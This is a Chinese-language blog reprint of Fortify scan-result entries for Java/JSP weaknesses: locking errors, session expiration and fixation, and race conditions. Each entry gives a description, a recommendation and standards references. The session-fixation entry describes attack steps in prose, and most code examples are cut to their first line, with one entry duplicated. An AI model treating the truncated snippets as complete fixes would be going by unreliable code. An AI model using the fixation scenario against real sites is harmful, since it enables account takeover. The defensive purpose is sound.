1 | ReentrantLock rl = new ReentrantLock(); |
REFERENCES
[1] LCK09-J. Do not perform operations that can block while holding a lock CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 557
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[4] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[6] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[7] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[16] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
[17] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
Code Correctness: Double-Checked Locking
ABSTRACT
Double-checked locking 是一种不正确的用法,并不能达到预期目标。
EXPLANATION
许多才智卓越的人都试图使用 double-checked locking 方法来提高性能,并为此付出了大量的时间,但是无一成功。
例 1:乍一看,下列代码似乎既能避免不必要的同步又能保证线程的安全性。
1 | if (fitz == null) { |
程序员希望保证仅分配一个 Fitzer() 对象,但又不希望每次调用该代码时都进行一次同步。这就是所谓的 double-checked locking 方法。
令人遗憾的是,它并不起作用,并且可以分配多个 Fitzer() 对象。有关更多详细信息,请参见 The “Double-Checked Locking is Broken” Declaration [1]。
RECOMMENDATIONS
其实同步所花费的代价比想象中的要少。许多情况下,最好的方法就是采用最简单的解决方法。
例 2: 例 1 中的代码应该用以下方式重写:
1 | synchronized (this) { |
REFERENCES
[1] D. Bacon et al. The “Double-Checked Locking is Broken” Declaration
[2] LCK10-J. Use a correct form of the double-checked locking idiom CERT
[3] Standards Mapping - Common Weakness Enumeration CWE ID 609
[4] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
J2EE Bad Practices: Insufficient Session Expiration
ABSTRACT
该方法设置了一个永远都不会过期的会话。
EXPLANATION
会话持续时间越长,攻击者危害用户帐户的机会就越大。当会话处于活动状态时,攻击者可能会强力攻击用户的密码、破解用户的无线加密密钥或者通过打开的浏览器强占会话。如果创建大量的会话,较长的会话超时时间还会阻止系统释放内存,并最终导致 denial of service。
例 1: 以下示例中的代码为实现最长不活动时间间隔而设置了负值,以使会话保持无限期的活动状态。
1 | ... |
RECOMMENDATIONS
对不活动时间间隔设置限制,既能使用户在一段时间内与应用程序互动,又提供了一个限制窗口攻击的合理范围。
例 2: 以下示例将最长不活动时间间隔设置为 20 分钟。因此,如果两次客户端请求的时间差超过 20 分钟,那么 servlet 容器将会使会话失效。
1 | ... |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 613
[2] Standards Mapping - FIPS200 IA
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-12 Session Termination (P2)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M9 Improper Session Handling
[5] Standards Mapping - OWASP Top 10 2004 A3 Broken Authentication and Session Management
[6] Standards Mapping - OWASP Top 10 2007 A7 Broken Authentication and Session Management
[7] Standards Mapping - OWASP Top 10 2010 A3 Broken Authentication and Session Management
[8] Standards Mapping - OWASP Top 10 2013 A2 Broken Authentication and Session Management
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.3, Requirement 8.5.15
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.7, Requirement 8.5.15
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8, Requirement 8.5.15
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.10, Requirement 8.1.8
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.10, Requirement 8.1.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.10, Requirement 8.1.8
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3415 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3415 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3415 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3415 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3415 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3415 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3415 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000070 CAT II, APSC-DV-000080 CAT II, APSC-DV-001980 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000070 CAT II, APSC-DV-000080 CAT II, APSC-DV-001980 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000070 CAT II, APSC-DV-000080 CAT II, APSC-DV-001980 CAT II
[25] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Session Expiration
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Session Expiration (WASC-47)
J2EE Bad Practices: JVM Termination
ABSTRACT
Web 应用程序不应试图关闭自身的容器。
EXPLANATION
让 Web 应用程序试图关闭自身的容器并不是什么好主意。调用终止方法的操作可能包含在遗忘调试代码中,或者包含在从非 J2EE 应用程序导入的代码中。
RECOMMENDATIONS
绝不要在 Web 应用程序中调用终止方法。在 J2EE 应用程序中的此类方法调用会导致软件的安全性较差,因此应删除这段代码。不管是否存在威胁,应用程序中存在这样的代码都是不合理的。
REFERENCES
[1] ERR09-J. Do not allow untrusted code to terminate the JVM CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 382
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[4] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[6] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[7] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[16] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
[17] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
J2EE Bad Practices: JVM Termination
ABSTRACT
Web 应用程序不应试图关闭自身的容器。
EXPLANATION
让 Web 应用程序试图关闭自身的容器并不是什么好主意。调用终止方法的操作可能包含在遗忘调试代码中,或者包含在从非 J2EE 应用程序导入的代码中。
RECOMMENDATIONS
绝不要在 Web 应用程序中调用终止方法。在 J2EE 应用程序中的此类方法调用会导致软件的安全性较差,因此应删除这段代码。不管是否存在威胁,应用程序中存在这样的代码都是不合理的。
REFERENCES
[1] ERR09-J. Do not allow untrusted code to terminate the JVM CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 382
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[4] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[6] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[7] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[16] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
[17] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
J2EE Bad Practices: Threads
ABSTRACT
禁止在某些环境下使用 Web 应用程序中的线程管理,因为此时使用线程管理非常容易出错。
EXPLANATION
J2EE 标准禁止在某些环境下使用 Web 应用程序中的线程管理,因为此时使用线程管理非常容易出错。线程管理起来很困难,并且可能还会以不可预知的方式干扰应用程序容器。即使容器没有受到干扰,线程管理通常还会导致各种难以发现的错误,如死锁、race condition 及其他同步错误等。
RECOMMENDATIONS
避免直接在 Web 应用程序中管理线程。而改为采用应用程序容器提供的各种标准,如消息驱动程序节 (message driven beans) 和 EJB 计时器服务 (EJB timer service)。
REFERENCES
[1] Java 2 Platform Enterprise Edition Specification, v1.4 Sun Microsystems
[2] Standards Mapping - Common Weakness Enumeration CWE ID 383
Race Condition: App Download
ABSTRACT
应用程序通过共享存储安装应用程序,使恶意应用程序可替换要安装的程序包。
EXPLANATION
应用程序通过共享存储安装应用程序,任何具有外部存储读/写权限的应用程序都可写入到该存储。 由于存在争用情况,监控文件夹的恶意应用程序可将下载的 APK 文件交换为 APK 替换文件,安装进程会使用该替换文件取代合法更新。
示例 1: 以下代码可通过共享存储安装应用程序:
1 | Intent intent = new Intent(Intent.ACTION_VIEW); |
RECOMMENDATIONS
请不要将要安装的应用程序下载到共享存储, 而是下载到内部存储/应用程序缓存目录。
示例 2: 以下代码可通过内部存储安装应用程序:
1 | Intent intent = new Intent(Intent.ACTION_VIEW); |
REFERENCES
[1] INPUT-1: Validate inputs Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 362, CWE ID 367
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-003178
[4] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data
[5] Standards Mapping - MISRA C 2012 Rule 1.3
[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.11.2 Business Logic Architectural Requirements, 1.11.3 Business Logic Architectural Requirements, 11.1.6 Business Logic Security Requirements
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[12] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 362
[13] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 362
[14] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3630.1 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3630.1 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3630.1 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3630.1 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3630.1 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3630.1 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3630.1 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001995 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001995 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001995 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001995 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001995 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001995 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001995 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001995 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001995 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001995 CAT II
Race Condition: Format Flaw
ABSTRACT
java.text.Format 中的 parse() 和 format() 方法包含一个可导致用户看到其他用户数据的设计缺陷。
vEXPLANATION==== java.text.Format 中的 parse() 和 format() 方法包含一个可导致用户看到其他用户数据的 race condition。
例 1: 以下代码显示了此设计缺陷如何暴露自己。
1 | public class Common { |
尽管此代码可在单一用户环境中正常运行,但如果两个线程同时运行此代码,则会生成以下输出内容:
1 | Time in thread 1 should be 12/31/69 4:00 PM, found:12/31/69 4:00 PM |
在这种情况下,第一个线程中的数据显示在了第二个线程的输出中,原因是实施的 format() 中存在 race condition。
RECOMMENDATIONS
调用类 java.text.Format 中的 parse() 和 format() 时,请使用同步来防止 race condition。
例 2: 以下代码显示了使用同步构造更正例 1 中代码的两种方式。
1 | public class Common { |
此外还可以使用 org.apache.commons.lang.time.FastDateFormat 类,该类是一种对线程安全的 java.text.SimpleDateFormat 版本。
REFERENCES
[1] Bug 4228335 : SimpleDateFormat is not threadsafe Sun Microsystems
[2] The Java Servlet Specification Sun Microsystems
[3] Standards Mapping - Common Weakness Enumeration CWE ID 362, CWE ID 488
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-4 Information in Shared Resources (P1)
[5] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[8] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 362
[9] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 362
[10] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3630.1 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3630.1 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3630.1 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3630.1 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3630.1 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3630.1 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3630.1 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001995 CAT II, APSC-DV-002380 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001995 CAT II, APSC-DV-002380 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001995 CAT II, APSC-DV-002380 CAT II
Race Condition: Singleton Member Field
ABSTRACT
Servlet 成员字段可能允许一个用户查看其他用户的数据。
EXPLANATION
许多 Servlet 开发人员都不了解 Servlet 为单例模式。Servlet 只有一个实例,并通过使用和重复使用该单个实例来处理需要由不同线程同时处理的多个请求。
这种误解的共同后果是,开发者使用 Servlet 成员字段的这种方式会导致某个用户可能在无意中看到其他用户的数据。换言之,即把用户数据存储在 Servlet 成员字段中会引发数据访问的 race condition。
例 1:以下 Servlet 把请求参数值存储在成员字段中,然后将参数值返回给响应输出流。
1 | public class GuestBook extends HttpServlet { |
当该代码在单一用户环境中正常运行时,如果有两个用户几乎同时访问 Servlet,可能会导致这两个请求以如下方式处理线程的插入:
线程 1: 将“Dick”分配给 name
线程 Jane”分配给 name
线程 1: print“Jane, thanks for visiting!”
线程 2: print“Jane, thanks for visiting!”
因此会向第一个用户显示第二个用户的用户名。
RECOMMENDATIONS
不要为任何参数(常量除外)使用 Servlet 成员字段。(例如,确保所有成员字段都是 static final)。
当开发者需要把代码内某一部分中的数据传输到另一部分时,他们经常使用 Servlet 成员字段存储用户数据。如果您也是这么做的,可以考虑声明一个单独的类,并仅使用 Servlet“封装”这个新类。
例 2:上述例子中的 bug 可以利用以下方式进行修正:
1 | public class GuestBook extends HttpServlet { |
此外,Servlet 也可以利用同步代码块来访问 servlet 实例变量。但是,使用同步代码块可能会导致严重的性能问题。
请注意,如果将字段访问封装在同步块中,则只有在该成员上的所有读取和写入操作均在同一同步块或方法中执行时方可防止出现问题。
示例 3:将示例 1 写入操作(分配)封装在一个同步块中将不会修复问题,因为线程将不得不锁定以修改 name 字段,但是随后将释放锁定,从而使其他线程能够再次更改该值。如果在更改 name 值后,第一个线程恢复执行操作,则输出的值将是第二个线程分配的值:
1 | public class GuestBook extends HttpServlet { |
为了解决争用条件,共享成员字段上的所有写入和读取操作应在同一同步块中自动运行:
1 | public class GuestBook extends HttpServlet { |
REFERENCES
[1] The Java Servlet Specification Sun Microsystems
[2] Standards Mapping - Common Weakness Enumeration CWE ID 362, CWE ID 488
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-4 Information in Shared Resources (P1)
[4] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[10] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 362
[11] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 362
[12] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3630.1 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3630.1 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3630.1 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3630.1 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3630.1 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3630.1 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3630.1 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001995 CAT II, APSC-DV-002380 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001995 CAT II, APSC-DV-002380 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001995 CAT II, APSC-DV-002380 CAT II
[22] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[23] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Race Condition: Static Database Connection(dbconn)
ABSTRACT
存储在静态字段中的数据库连接会被不同的线程共享。
EXPLANATION
对于与事务相关联的资源对象(比如数据库连接),一次只能与一个事务相关联。出于这个原因,一个连接不应该被多个线程共享,并且不应该存储在静态字段中。要获取更多详细信息,请参见 J2EE 规范中的第 4.2.3 节。
例 1:
1 | public class ConnectionManager { |
RECOMMENDATIONS
与其把数据库连接存储在静态字段中,不如使用连接池来缓存连接对象。大多数 J2EE 和 Servlet 容器提供了内置连接池管理机制。
REFERENCES
[1] Java 2 Platform Enterprise Edition Specification, v1.4 Sun Microsystems
[2] Standards Mapping - Common Weakness Enumeration CWE ID 362, CWE ID 567
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-4 Information in Shared Resources (P1)
[4] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[7] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 362
[8] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 362
[9] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3630.1 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3630.1 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3630.1 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3630.1 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3630.1 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3630.1 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3630.1 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001995 CAT II, APSC-DV-002380 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001995 CAT II, APSC-DV-002380 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001995 CAT II, APSC-DV-002380 CAT II
Session Fixation
ABSTRACT
在未释放当前会话标识符的情况下验证用户会给攻击者窃取验证会话的机会。
EXPLANATION
Session Fixation 漏洞会在以下情况中出现:
当 Web 应用程序验证某一用户时,没有首先释放当前会话,而是继续使用已经与该用户关联的会话。
攻击者能够夺取已知的用户会话标识符,因此,一旦该用户进行验证,攻击者便可以访问经过验证的会话。
在通常情况下,攻击者会利用 Session Fixation 漏洞在 Web 应用程序中创建一个新会话,并且记录与之关联的会话标识符。然后,攻击者会设法使受害者在服务器中的验证失败,从而通过当前会话来访问用户帐号。
示例:下面这个例子是 J2EE web 应用程序代码中的一个片断,这个应用程序在未调用 HttpSession.invalidate() 的情况下,使用 LoginContext.login() 验证用户。
1 | private void auth(LoginContext lc, HttpSession session) throws LoginException { |
为了利用上述代码,攻击者可能会首先从某个公用终端创建一个会话(可能是通过登录应用程序),记录由应用程序分配的会话标识符,并将浏览器重置为登录页面。然后,某个受害者使用同一个公用终端,看到浏览器中打开的是所需网站的登录页面,就输入了凭证信息对应用程序进行验证。这段代码就是用于验证的代码,受害者会继续使用预存的会话标识符,攻击者现在就可以轻松地使用早先记录下来的会话标识符,以此访问受害者的当前会话,在会话的剩余有效期内,攻击者几乎可以不受任何限制地访问受害者的帐号。
即便是易受攻击的应用程序,这里描述的某种特定攻击的成功与否仍取决于诸多对攻击者有利的因素:访问未受监视的公用终端;能够维持当前已遭受攻击的会话;受害者有兴趣通过公用终端登录易受攻击的应用程序。在多数情况下,只要肯花时间,前面两个因素是可以实现的。只要(有公用终端的)上网地点比较受欢迎,那么寻找一个既使用公用终端又有兴趣登录这个易受攻击的应用程序的受害者,也是可以实现的。上网地点越不受欢迎,使用这一公用终端的人就会越少,那么上述攻击成功的可能性也就越小。
攻击者利用 Session Fixation 漏洞所面临的最大挑战是,诱导受害者用攻击者已知的会话标识符对这个易受攻击的应用程序进行验证。在上述例子中,攻击者使用比较直接的方法并不高明,对于攻击不太出名的网站并不适用。然而,千万不要麻痹大意,攻击者有许多手段可以帮助他们避免上述攻击的局限性。攻击者所采用的最常见的技术包括:利用目标网站中的 Cross-Site Scripting 或者 HTTP Response Splitting 漏洞【1】。攻击者诱使受害者向易受攻击的应用程序提交恶意请求,应用程序将相应的 JavaScript 或者其他代码返回到受害者的浏览器,借助于这种方式,攻击者便可以创建一个 cookie,使受害者重新使用已受攻击者控制的会话标识符。
值得注意的是,cookie 常常会与某个已知 URL 所关联的顶级域绑定到一起。如果多个应用程序位于同一顶级域(如:bank.example.com 和 recipes.example.com),其中一个应用程序存在漏洞,则攻击者可以通过此漏洞设置一个 cookie,并在其中包含一个经攻击者修改过的会话标识符,且该会话标识符可以在与 example.com [2] 域中所有应用程序的交互中使用。
其他攻击手段还包括 DNS Poisoning 和其他基于网络的攻击形式,攻击者通过重定向对有效站点的请求,诱使受害者访问恶意站点。基于网络的攻击方式通常包括:现身于攻击对象的网络中或是控制网络中的目标主机。虽然通过远程的方式进行此种攻击要更难一些,但也不应当忽视。安全性较差的会话管理机制(例如在 Apache Tomcat 中默认实现),可以将通常存储在 cookie 中的会话标识符也指定给 URL,这样,攻击者只要通过电子邮件发送一个恶意的 URL,就可以诱使用户使用已被修改的会话标识符。
RECOMMENDATIONS
为了防止 session fixation 攻击,基于 Web 的应用程序必须在验证用户的同时生成新的会话标识符。许多应用程序服务器都提供独立的授权管理机制和会话管理机制,这大大增加了 session fixation 攻击的难度。例如,若应用程序直接向 Tomcat Servlet 容器中的 URLj_security_check 发送验证数据,会使 Tomcat 在没有生成新会话标识符的情况下执行 authentication。
唯一有效的解决方案是:通过执行所有者代码来进行 authentication,并且保证在处理登录请求前已释放了当前会话。只要改变了关联的会话标识符,任何存放在会话中的用户信息都可以安全地移动到新会话中。切记操作顺序十分重要:在处理登录请求前,必须释放当前会话。如果等到用户登录之后再释放会话,攻击者就可以在 authentication 后一段时间知晓会话标识符,并与合法用户发生 race condition。
REFERENCES
[1] Cross-Site Scripting and Header Manipulation Descriptions Micro Focus Fortify
[2] D. Whalen The Unofficial Cookie FAQ
[3] Standards Mapping - Common Weakness Enumeration CWE ID 384
[4] Standards Mapping - FIPS200 IA
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-23 Session Authenticity (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M9 Improper Session Handling
[7] Standards Mapping - OWASP Top 10 2004 A3 Broken Authentication and Session Management
[8] Standards Mapping - OWASP Top 10 2007 A7 Broken Authentication and Session Management
[9] Standards Mapping - OWASP Top 10 2010 A3 Broken Authentication and Session Management
[10] Standards Mapping - OWASP Top 10 2013 A2 Broken Authentication and Session Management
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.3
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.7
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.10
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.10
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.10
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3090 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3405 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3405 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3405 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3405 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3405 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3405 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002250 CAT II, APSC-DV-002260 CAT II, APSC-DV-002270 CAT II, APSC-DV-002280 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002250 CAT II, APSC-DV-002260 CAT II, APSC-DV-002270 CAT II, APSC-DV-002280 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002250 CAT II, APSC-DV-002260 CAT II, APSC-DV-002270 CAT II, APSC-DV-002280 CAT II
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Session Fixation
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Session Fixation (WASC-37)
本文链接: http://dayun.shystartree.online/2020/12/25/fortify%E6%89%AB%E6%8F%8F%E7%BB%93%E6%9E%9C%E9%80%9F%E6%9F%A5(Java:JSP)/
版权声明:本博客所有文章除特别声明外,均采用知识共享署名-非商业性使用-相同方式共享4.0国际许可协议许可协议。欢迎转载,但转载请注明来自qingyu’s blog,并保持转载后文章内容的完整,本人保留所有版权相关权利。